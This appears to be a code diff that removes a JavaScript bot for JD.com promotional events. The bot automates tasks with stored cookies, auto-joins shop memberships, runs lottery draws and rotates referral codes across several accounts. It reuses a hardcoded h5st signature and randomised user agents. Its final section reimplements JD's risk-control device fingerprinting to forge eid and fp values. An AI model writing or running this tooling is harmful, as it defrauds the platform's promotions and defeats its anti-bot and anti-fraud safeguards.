getMyTask(1) - let friendCount = 0 - for(let i in $.taskList || []){ - $.oneTask = $.taskList[i] - let title = '' - switch ($.oneTask.taskType) { - case 2: - title = '关注' - break; - case 3: - title = '浏览' - break; - case 4: - title = '加购' - break; - case 8: - title = '邀请' - break; - case 11: - title = '开通会员' - break; - } - console.log(`${title} ${$.oneTask.finishCount}/${$.oneTask.itemCount}`) - let num = $.oneTask.itemCount - $.oneTask.finishCount - if($.oneTask.taskType == 8){ - friendCount = $.oneTask.finishCount - continue - } - if(num <= 0) continue - let taskNum = $.oneTask.itemCount - $.oneTask.finishCount - let goodsArr = [] - if([2,3,4,11].includes($.oneTask.taskType)){ - $.itemId = $.oneTask.taskItem.itemId - $.itemCode = $.oneTask.taskItem.itemCode - let task = [] - let onetask = [] - do{ - taskNum--; - task = [] - if($.oneTask.taskType == 11) await join($.itemCode) - await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) - await takePostRequest('doTask'); - $.itemId = '' - await $.wait(parseInt(Math.random() * 2000 + 1000 * $.oneTask.viewTime || 2, 10)) - if($.oneTask.taskType != 3){ - task = await getMyTask(2) - if(task.length > 0){ - onetask = task.filter((x) => x.taskType == $.oneTask.taskType && x.finishCount < x.itemCount && x.taskItem.itemId != $.oneTask.taskItem.itemId) - if(onetask.length > 0){ - for(let k of onetask || []){ - if(k.taskType == $.oneTask.taskType){ - $.itemId = k.taskItem.itemId - } - } - } - } - } - }while ((($.itemId != '' && $.oneTask.taskType != 3) || ($.itemId == '' && $.oneTask.taskType == 3)) && taskNum > 0) - } - } - $.remainPoints = 0 - await getActivity() - - let count = parseInt($.remainPoints/100, 10) - console.log(`心动值:${$.remainPoints} 可抽奖次数:${count}`) - for(j=1;count-- && true;j++){ - console.log(`第${j}次`) - await draw() - await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) - } - $.totalPoints = 0 - $.totalBeans = 0 - $.rewards = [] - await getMyRewards() - console.log(`\n当前剩余:${$.totalPoints}能量值 累计获得:${$.totalBeans}京豆`) - if($.rewards.length > 0){ - console.log('获得的奖品:') - for(let i of $.rewards || []){ - console.log(`类型:${i.rewardType} ${i.rewardName} ${i.limitStr} ${$.time('yyyy.MM.dd',i.couponBeginTime)}-${$.time('yyyy.MM.dd',i.couponEndTime)}`) - if(i.rewardType != 2){ - let msg = `【京东账号${$.index}】${$.nickName || $.UserName}\n类型:${i.rewardType} ${i.rewardName} ${i.limitStr}\n活动地址:https://3.cn/103-VBNoE` - if ($.isNode()){ - await notify.sendNotify(`${$.name}`, `${msg}`); - }else{ - $.msg($.name, ``, `${msg}`); - } - } - } - console.log('\n类型2为优惠券\n如有其他类型可能需要到活动页面填写地址\n') - } - if($.bean > 0){ - allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n本次运行获得${$.bean}京豆\n` - } - if(true){ - $.log($.pin) - $.log("当前助力:"+friendPin) - if($.pin){ - $.shareArr.push({"friendPin":$.pin,"count":friendCount,'index':$.index}) - }else if($.index === 1){ - console.log('账号1获取不到[friendPin]退出执行,请重新执行') - return - } - if(toFriend == 1 && $.index !== 1) updatefriend(friendPin,1) - if($.index === 1) updatefriend(friendPin,0) - } - await $.wait(parseInt(Math.random() * 2000 + 5000, 10)) - } catch (e) { - console.log(e) - } -} - -function updatefriend(id,type) { - let index = 0 - for(let i in $.shareArr){ - if($.shareArr[i] && $.shareArr[i].friendPin == id){ - index = i - break - } - } - if(type == 1) $.shareArr[index].count++ - if($.shareArr[index].count >= 3 || type == 0){ - console.log(`助力码[${$.shareArr[index].friendPin}] 已邀请${$.shareArr[index].count}`) - for(let i in $.shareArr){ - if($.shareArr[i] && $.shareArr[i].count < 3){ - friendPin = $.shareArr[i].friendPin - console.log(`更新助力码[${friendPin}] 账号${$.shareArr[i].index} 已邀请${$.shareArr[i].count}`) - break - } - } - } -} -async function takePostRequest(type) { - if($.hotFlag) return - let url = ''; - let body = ``; - let method = 'POST' - switch (type) { - case 'doTask': - url = `https://jdjoy.jd.com/module/freshgoods/doTask`; - body = `code=${configCode}&taskType=${$.oneTask.taskType}&taskId=${$.oneTask.taskId}&eid=${$.eid}&fp=${$.fp}${$.itemId && "&itemId="+$.itemId || ""}&friendPin=${encodeURIComponent(friendPin)}` - break; - default: - console.log(`错误${type}`); - } - let myRequest = getPostRequest(url, body, method); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - // setActivityCookie(resp) - if (err) { - if(resp && resp.statusCode && resp.statusCode == 493){ - console.log('此ip已被限制,请过10分钟后再执行脚本\n') - $.outFlag = true - } - console.log(`${$.toStr(err,err)}`) - console.log(`${type} API请求失败,请检查网路重试`) - } else { - dealReturn(type, data); - } - } catch (e) { - // console.log(data); - console.log(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function dealReturn(type, data) { - let res = '' - try { - res = JSON.parse(data); - } catch (e) { - console.log(`${type} 执行任务异常`); - console.log(data); - $.runFalag = false; - } - switch (type) { - case 'doTask': - if(typeof res == 'object' && res.success && res.success === true){ - toFriend = 1 - let msg = '' - if(res.data && res.data.rewardBeans > 0) msg += res.data.rewardBeans+'京豆' - if(res.data && res.data.rewardPoints > 0) msg += res.data.rewardPoints+'能量值' - console.log(`获得: ${msg || data}`) - }else if(typeof res == 'object' && res.errorMessage){ - if(res.errorMessage == '任务已完成') $.runFalag = false - console.log(`${type} ${res.errorMessage || ''}`) - }else{ - console.log(`${type} ${data}`) - } - break; - default: - console.log(`${type}-> ${data}`); - } - if(typeof res == 'object' && res.errorMessage){ - if(res.errorMessage.indexOf('火爆') >-1 ){ - $.hotFlag = true - } - } -} - -function getPostRequest(url, body, method="POST") { - let ck = cookie - let host = '' - let headers = { - "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - 'Cookie': `${ck}`, - "X-Requested-With": "XMLHttpRequest", - "User-Agent": `${UA || $.UA}` , - } - if(method == "POST"){ - headers["Content-Type"] = "application/x-www-form-urlencoded" - headers["Accept"] = "application/json" - } - // console.log(headers) - // console.log(headers.Cookie) - return {url: url, method: method, headers: headers, body: body, timeout:30000}; -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - res = $.toObj(data,data); - if(typeof res == 'object'){ - if(res.success === true){ - console.log(res.message) - if(res.result && res.result.giftInfo){ - for(let i of res.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(typeof res == 'object' && res.message){ - console.log(`${res.message || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - let h5st = '20220412164634306%3Bf5299392a200d6d9ffced997e5790dcc%3B169f1%3Btk02wc0f91c8a18nvWVMGrQO1iFlpQre2Sh2mGtNro1l0UpZqGLRbHiyqfaUQaPy64WT7uz7E%2FgujGAB50kyO7hwByWK%3B77c8a05e6a66faeed00e4e280ad8c40fab60723b5b561230380eb407e19354f7%3B3.0%3B1649753194306' - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888&h5st=${h5st}`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401`, - 'Cookie': cookie - } - } -} -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - // console.log($.toStr(data.result)) - console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - let h5st = '20220412164634306%3Bf5299392a200d6d9ffced997e5790dcc%3B169f1%3Btk02wc0f91c8a18nvWVMGrQO1iFlpQre2Sh2mGtNro1l0UpZqGLRbHiyqfaUQaPy64WT7uz7E%2FgujGAB50kyO7hwByWK%3B77c8a05e6a66faeed00e4e280ad8c40fab60723b5b561230380eb407e19354f7%3B3.0%3B1649753194306' - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888&h5st=${h5st}`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401`, - 'Cookie': cookie - } - } -} -function getMyTask(type) { - return new Promise(resolve => { - let get = { - url:`https://jdjoy.jd.com/module/freshgoods/getMyTask?code=${configCode}`, - headers: { - "Cookie": cookie, - "User-Agent": $.UA, - }, - timeout:30000 - } - $.get(get, async(err, resp, data) => { - try { - if (err) { - if(resp.statusCode && resp.statusCode == 493){ - console.log('此ip已被限制,请过10分钟后再执行脚本\n') - $.outFlag = true - } - console.log(`${$.toStr(err)}`) - console.log(`${$.name} cookie API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data,data) - if(typeof res == 'object' && res.success && res.success === true){ - if(res.data){ - if(type == 1){ - $.pin = res.data.pin || '' - $.taskList = res.data.myTasks || [] - }else if(type == 2){ - resolve(res.data.myTasks || []) - } - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve([]); - } - }) - }) -} -function getMyRewards() { - return new Promise(resolve => { - let get = { - url:`https://jdjoy.jd.com/module/freshgoods/getMyRewards?code=${configCode}&friendPin=${encodeURIComponent(friendPin)}`, - headers: { - "Cookie": cookie, - "User-Agent": $.UA, - }, - timeout:30000 - } - $.get(get, async(err, resp, data) => { - try { - if (err) { - if(resp.statusCode && resp.statusCode == 493){ - console.log('此ip已被限制,请过10分钟后再执行脚本\n') - $.outFlag = true - } - console.log(`${$.toStr(err)}`) - console.log(`${$.name} cookie API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data,data) - if(typeof res == 'object' && res.success && res.success === true){ - if(res.data){ - $.totalBeans = res.data.totalBeans - $.totalPoints = res.data.totalPoints - $.rewards = res.data.rewards - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve([]); - } - }) - }) -} -function getActivity() { - return new Promise(resolve => { - let get = { - url:`https://jdjoy.jd.com/module/freshgoods/getActivityPage?code=${configCode}&friendPin=${encodeURIComponent(friendPin)}`, - headers: { - "Cookie": cookie, - "User-Agent": $.UA, - }, - timeout:30000 - } - $.get(get, async(err, resp, data) => { - try { - if (err) { - if(resp.statusCode && resp.statusCode == 493){ - console.log('此ip已被限制,请过10分钟后再执行脚本\n') - $.outFlag = true - } - console.log(`${$.toStr(err)}`) - console.log(`${$.name} cookie API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data,data) - if(typeof res == 'object' && res.success && res.success === true){ - if(res.data){ - $.remainPoints = res.data.remainPoints - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve([]); - } - }) - }) -} -function draw() { - return new Promise(resolve => { - let get = { - url:`https://jdjoy.jd.com/module/freshgoods/draw?code=${configCode}&eid=${$.eid}&fp=${$.fp}`, - headers: { - "Cookie": cookie, - "User-Agent": $.UA, - }, - timeout:30000 - } - $.get(get, async(err, resp, data) => { - try { - if (err) { - if(resp.statusCode && resp.statusCode == 493){ - console.log('此ip已被限制,请过10分钟后再执行脚本\n') - $.outFlag = true - } - console.log(`${$.toStr(err)}`) - console.log(`${$.name} cookie API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data,data) - if(typeof res == 'object' && res.success && res.success === true){ - if(res.data){ - let msg = '' - msg = res.data.rewardNum || '' - if(res.data.rewardType == 1){ - msg += '京豆' - $.bean += Number(res.data.rewardNum) - }else if(res.data.rewardType == 4){ - msg += '心动值' - }else{ - msg = res.data.rewardName || data - } - console.log(`抽奖获得:${msg || '空气💨'}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve([]); - } - }) - }) -} - -function getEid(arr) { - return new Promise(resolve => { - const options = { - url: `https://gia.jd.com/fcf.html?a=${arr.a}`, - body: `d=${arr.d}`, - headers: { - "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", - "User-Agent": $.UA - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) - throw new Error(err); - } else { - if (data.indexOf("*_*") > 0) { - data = data.split("*_*", 2); - data = JSON.parse(data[1]); - $.eid = data.eid - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -async function getUA(){ - $.UA = `jdapp;iPhone;10.1.4;13.1.2;${randomString(40)};network/wifi;model/iPhone8,1;addressid/2308460611;appBuild/167814;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - - -const navigator = { - userAgent: $.UA || '', - plugins: { length: 0 }, - language: "zh-CN", -}; -const screen = { - availHeight: 812, - availWidth: 375, - colorDepth: 24, - height: 812, - width: 375, - pixelDepth: 24, -}; -const window = {}; -const document = { - location: { - ancestorOrigins: {}, - href: "https://prodev.m.jd.com/mall/active/2wJsXk1FtEtvbdzZuiYWCLHrrTi8/index.htm", - origin: "https://prodev.m.jd.com", - protocol: "https:", - host: "prodev.m.jd.com", - hostname: "prodev.m.jd.com", - port: "", - pathname: "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", - search: "", - hash: "", - }, -}; -var start_time = new Date().getTime(), - _jdfp_canvas_md5 = "", - _jdfp_webgl_md5 = "", - _fingerprint_step = 1, - _JdEid = "", - _eidFlag = !1, - risk_jd_local_fingerprint = "", - _jd_e_joint_; - -function t(a) { - if (null == a || void 0 == a || "" == a) return "NA"; - if (null == a || void 0 == a || "" == a) var b = ""; - else { - b = []; - for (var c = 0; c < 8 * a.length; c += 8) - b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32; - } - a = 8 * a.length; - b[a >> 5] |= 128 << a % 32; - b[(((a + 64) >>> 9) << 4) + 14] = a; - a = 1732584193; - c = -271733879; - for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { - var z = a, - C = c, - D = l, - B = h; - a = v(a, c, l, h, b[q + 0], 7, -680876936); - h = v(h, a, c, l, b[q + 1], 12, -389564586); - l = v(l, h, a, c, b[q + 2], 17, 606105819); - c = v(c, l, h, a, b[q + 3], 22, -1044525330); - a = v(a, c, l, h, b[q + 4], 7, -176418897); - h = v(h, a, c, l, b[q + 5], 12, 1200080426); - l = v(l, h, a, c, b[q + 6], 17, -1473231341); - c = v(c, l, h, a, b[q + 7], 22, -45705983); - a = v(a, c, l, h, b[q + 8], 7, 1770035416); - h = v(h, a, c, l, b[q + 9], 12, -1958414417); - l = v(l, h, a, c, b[q + 10], 17, -42063); - c = v(c, l, h, a, b[q + 11], 22, -1990404162); - a = v(a, c, l, h, b[q + 12], 7, 1804603682); - h = v(h, a, c, l, b[q + 13], 12, -40341101); - l = v(l, h, a, c, b[q + 14], 17, -1502002290); - c = v(c, l, h, a, b[q + 15], 22, 1236535329); - a = x(a, c, l, h, b[q + 1], 5, -165796510); - h = x(h, a, c, l, b[q + 6], 9, -1069501632); - l = x(l, h, a, c, b[q + 11], 14, 643717713); - c = x(c, l, h, a, b[q + 0], 20, -373897302); - a = x(a, c, l, h, b[q + 5], 5, -701558691); - h = x(h, a, c, l, b[q + 10], 9, 38016083); - l = x(l, h, a, c, b[q + 15], 14, -660478335); - c = x(c, l, h, a, b[q + 4], 20, -405537848); - a = x(a, c, l, h, b[q + 9], 5, 568446438); - h = x(h, a, c, l, b[q + 14], 9, -1019803690); - l = x(l, h, a, c, b[q + 3], 14, -187363961); - c = x(c, l, h, a, b[q + 8], 20, 1163531501); - a = x(a, c, l, h, b[q + 13], 5, -1444681467); - h = x(h, a, c, l, b[q + 2], 9, -51403784); - l = x(l, h, a, c, b[q + 7], 14, 1735328473); - c = x(c, l, h, a, b[q + 12], 20, -1926607734); - a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); - h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); - l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); - c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); - a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); - h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); - l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); - c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); - a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); - h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); - l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); - c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); - a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); - h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); - l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); - c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); - a = w(a, c, l, h, b[q + 0], 6, -198630844); - h = w(h, a, c, l, b[q + 7], 10, 1126891415); - l = w(l, h, a, c, b[q + 14], 15, -1416354905); - c = w(c, l, h, a, b[q + 5], 21, -57434055); - a = w(a, c, l, h, b[q + 12], 6, 1700485571); - h = w(h, a, c, l, b[q + 3], 10, -1894986606); - l = w(l, h, a, c, b[q + 10], 15, -1051523); - c = w(c, l, h, a, b[q + 1], 21, -2054922799); - a = w(a, c, l, h, b[q + 8], 6, 1873313359); - h = w(h, a, c, l, b[q + 15], 10, -30611744); - l = w(l, h, a, c, b[q + 6], 15, -1560198380); - c = w(c, l, h, a, b[q + 13], 21, 1309151649); - a = w(a, c, l, h, b[q + 4], 6, -145523070); - h = w(h, a, c, l, b[q + 11], 10, -1120210379); - l = w(l, h, a, c, b[q + 2], 15, 718787259); - c = w(c, l, h, a, b[q + 9], 21, -343485551); - a = A(a, z); - c = A(c, C); - l = A(l, D); - h = A(h, B); - } - b = [a, c, l, h]; - a = ""; - for (c = 0; c < 4 * b.length; c++) - a += - "0123456789abcdef".charAt((b[c >> 2] >> ((c % 4) * 8 + 4)) & 15) + - "0123456789abcdef".charAt((b[c >> 2] >> ((c % 4) * 8)) & 15); - return a; -} - -function u(a, b, c, l, h, q) { - a = A(A(b, a), A(l, q)); - return A((a << h) | (a >>> (32 - h)), c); -} - -function v(a, b, c, l, h, q, z) { - return u((b & c) | (~b & l), a, b, h, q, z); -} - -function x(a, b, c, l, h, q, z) { - return u((b & l) | (c & ~l), a, b, h, q, z); -} - -function w(a, b, c, l, h, q, z) { - return u(c ^ (b | ~l), a, b, h, q, z); -} - -function A(a, b) { - var c = (a & 65535) + (b & 65535); - return (((a >> 16) + (b >> 16) + (c >> 16)) << 16) | (c & 65535); -} - -_fingerprint_step = 2; -var y = "", - n = navigator.userAgent.toLowerCase(); -n.indexOf("jdapp") && (n = n.substring(0, 90)); -var e = navigator.language, - f = n; --1 != f.indexOf("ipad") || - -1 != f.indexOf("iphone os") || - -1 != f.indexOf("midp") || - -1 != f.indexOf("rv:1.2.3.4") || - -1 != f.indexOf("ucweb") || - -1 != f.indexOf("android") || - -1 != f.indexOf("windows ce") || - f.indexOf("windows mobile"); -var r = "NA", - k = "NA"; -try { - -1 != f.indexOf("win") && - -1 != f.indexOf("95") && - ((r = "windows"), (k = "95")), - -1 != f.indexOf("win") && - -1 != f.indexOf("98") && - ((r = "windows"), (k = "98")), - -1 != f.indexOf("win 9x") && - -1 != f.indexOf("4.90") && - ((r = "windows"), (k = "me")), - -1 != f.indexOf("win") && - -1 != f.indexOf("nt 5.0") && - ((r = "windows"), (k = "2000")), - -1 != f.indexOf("win") && - -1 != f.indexOf("nt") && - ((r = "windows"), (k = "NT")), - -1 != f.indexOf("win") && - -1 != f.indexOf("nt 5.1") && - ((r = "windows"), (k = "xp")), - -1 != f.indexOf("win") && - -1 != f.indexOf("32") && - ((r = "windows"), (k = "32")), - -1 != f.indexOf("win") && - -1 != f.indexOf("nt 5.1") && - ((r = "windows"), (k = "7")), - -1 != f.indexOf("win") && - -1 != f.indexOf("6.0") && - ((r = "windows"), (k = "8")), - -1 == f.indexOf("win") || - (-1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1")) || - ((r = "windows"), (k = "9")), - -1 != f.indexOf("win") && - -1 != f.indexOf("nt 6.2") && - ((r = "windows"), (k = "10")), - -1 != f.indexOf("linux") && (r = "linux"), - -1 != f.indexOf("unix") && (r = "unix"), - -1 != f.indexOf("sun") && -1 != f.indexOf("os") && (r = "sun os"), - -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), - -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), - -1 != f.indexOf("aix") && (r = "aix"), - -1 != f.indexOf("powerpc") && (r = "powerPC"), - -1 != f.indexOf("hpux") && (r = "hpux"), - -1 != f.indexOf("netbsd") && (r = "NetBSD"), - -1 != f.indexOf("bsd") && (r = "BSD"), - -1 != f.indexOf("osf1") && (r = "OSF1"), - -1 != f.indexOf("irix") && ((r = "IRIX"), (k = "")), - -1 != f.indexOf("freebsd") && (r = "FreeBSD"), - -1 != f.indexOf("symbianos") && - ((r = "SymbianOS"), (k = f.substring(f.indexOf("SymbianOS/") + 10, 3))); -} catch (a) {} -_fingerprint_step = 3; -var g = "NA", - m = "NA"; -try { - -1 != f.indexOf("msie") && - ((g = "ie"), - (m = f.substring(f.indexOf("msie ") + 5)), - m.indexOf(";") && (m = m.substring(0, m.indexOf(";")))); - -1 != f.indexOf("firefox") && - ((g = "Firefox"), (m = f.substring(f.indexOf("firefox/") + 8))); - -1 != f.indexOf("opera") && - ((g = "Opera"), (m = f.substring(f.indexOf("opera/") + 6, 4))); - -1 != f.indexOf("safari") && - ((g = "safari"), (m = f.substring(f.indexOf("safari/") + 7))); - -1 != f.indexOf("chrome") && - ((g = "chrome"), - (m = f.substring(f.indexOf("chrome/") + 7)), - m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - -1 != f.indexOf("navigator") && - ((g = "navigator"), (m = f.substring(f.indexOf("navigator/") + 10))); - -1 != f.indexOf("applewebkit") && - ((g = "applewebkit_chrome"), - (m = f.substring(f.indexOf("applewebkit/") + 12)), - m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - -1 != f.indexOf("sogoumobilebrowser") && - (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); - if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) - g = "UC\u6d4f\u89c8\u5668"; - if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) - g = "QQ\u6d4f\u89c8\u5668"; - -1 != f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); - -1 != f.indexOf("360se") && (g = "360\u6d4f\u89c8\u5668"); - -1 != f.indexOf("the world") && - (g = "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); - -1 != f.indexOf("maxthon") && (g = "\u9068\u6e38\u6d4f\u89c8\u5668"); -} catch (a) {} - -class JdJrTdRiskFinger { - f = { - options: function () { - return {}; - }, - nativeForEach: Array.prototype.forEach, - nativeMap: Array.prototype.map, - extend: function (a, b) { - if (null == a) return b; - for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); - return b; - }, - getData: function () { - return y; - }, - get: function (a) { - var b = 1 * m, - c = []; - "ie" == g && 7 <= b - ? (c.push(n), - c.push(e), - (y = y + ",'userAgent':'" + t(n) + "','language':'" + e + "'"), - this.browserRedirect(n)) - : ((c = this.userAgentKey(c)), (c = this.languageKey(c))); - c.push(g); - c.push(m); - c.push(r); - c.push(k); - y = - y + - ",'os':'" + - r + - "','osVersion':'" + - k + - "','browser':'" + - g + - "','browserVersion':'" + - m + - "'"; - c = this.colorDepthKey(c); - c = this.screenResolutionKey(c); - c = this.timezoneOffsetKey(c); - c = this.sessionStorageKey(c); - c = this.localStorageKey(c); - c = this.indexedDbKey(c); - c = this.addBehaviorKey(c); - c = this.openDatabaseKey(c); - c = this.cpuClassKey(c); - c = this.platformKey(c); - c = this.hardwareConcurrencyKey(c); - c = this.doNotTrackKey(c); - c = this.pluginsKey(c); - c = this.canvasKey(c); - c = this.webglKey(c); - b = this.x64hash128(c.join("~~~"), 31); - return a(b); - }, - userAgentKey: function (a) { - a.push(navigator.userAgent), - (y = y + ",'userAgent':'" + t(navigator.userAgent) + "'"), - this.browserRedirect(navigator.userAgent); - return a; - }, - replaceAll: function (a, b, c) { - for (; 0 <= a.indexOf(b); ) a = a.replace(b, c); - return a; - }, - browserRedirect: function (a) { - var b = a.toLowerCase(); - a = "ipad" == b.match(/ipad/i); - var c = "iphone os" == b.match(/iphone os/i), - l = "midp" == b.match(/midp/i), - h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), - q = "ucweb" == b.match(/ucweb/i), - z = "android" == b.match(/android/i), - C = "windows ce" == b.match(/windows ce/i); - b = "windows mobile" == b.match(/windows mobile/i); - y = - a || c || l || h || q || z || C || b - ? y + ",'origin':'mobile'" - : y + ",'origin':'pc'"; - }, - languageKey: function (a) { - "" || - (a.push(navigator.language), - (y = - y + - ",'language':'" + - this.replaceAll(navigator.language, " ", "_") + - "'")); - return a; - }, - colorDepthKey: function (a) { - "" || - (a.push(screen.colorDepth), - (y = y + ",'colorDepth':'" + screen.colorDepth + "'")); - return a; - }, - screenResolutionKey: function (a) { - if (!this.options.excludeScreenResolution) { - var b = this.getScreenResolution(); - "undefined" !== typeof b && - (a.push(b.join("x")), - (y = y + ",'screenResolution':'" + b.join("x") + "'")); - } - return a; - }, - getScreenResolution: function () { - return this.options.detectScreenOrientation - ? screen.height > screen.width - ? [screen.height, screen.width] - : [screen.width, screen.height] - : [screen.height, screen.width]; - }, - timezoneOffsetKey: function (a) { - this.options.excludeTimezoneOffset || - (a.push(new Date().getTimezoneOffset()), - (y = - y + - ",'timezoneOffset':'" + - new Date().getTimezoneOffset() / 60 + - "'")); - return a; - }, - sessionStorageKey: function (a) { - !this.options.excludeSessionStorage && - this.hasSessionStorage() && - (a.push("sessionStorageKey"), (y += ",'sessionStorage':true")); - return a; - }, - localStorageKey: function (a) { - !this.options.excludeSessionStorage && - this.hasLocalStorage() && - (a.push("localStorageKey"), (y += ",'localStorage':true")); - return a; - }, - indexedDbKey: function (a) { - !this.options.excludeIndexedDB && - this.hasIndexedDB() && - (a.push("indexedDbKey"), (y += ",'indexedDb':true")); - return a; - }, - addBehaviorKey: function (a) { - document.body && - !this.options.excludeAddBehavior && - document.body.addBehavior - ? (a.push("addBehaviorKey"), (y += ",'addBehavior':true")) - : (y += ",'addBehavior':false"); - return a; - }, - openDatabaseKey: function (a) { - !this.options.excludeOpenDatabase && window.openDatabase - ? (a.push("openDatabase"), (y += ",'openDatabase':true")) - : (y += ",'openDatabase':false"); - return a; - }, - cpuClassKey: function (a) { - this.options.excludeCpuClass || - (a.push(this.getNavigatorCpuClass()), - (y = y + ",'cpu':'" + this.getNavigatorCpuClass() + "'")); - return a; - }, - platformKey: function (a) { - this.options.excludePlatform || - (a.push(this.getNavigatorPlatform()), - (y = y + ",'platform':'" + this.getNavigatorPlatform() + "'")); - return a; - }, - hardwareConcurrencyKey: function (a) { - var b = this.getHardwareConcurrency(); - a.push(b); - y = y + ",'ccn':'" + b + "'"; - return a; - }, - doNotTrackKey: function (a) { - this.options.excludeDoNotTrack || - (a.push(this.getDoNotTrack()), - (y = y + ",'track':'" + this.getDoNotTrack() + "'")); - return a; - }, - canvasKey: function (a) { - if (!this.options.excludeCanvas && this.isCanvasSupported()) { - var b = this.getCanvasFp(); - a.push(b); - _jdfp_canvas_md5 = t(b); - y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'"; - } - return a; - }, 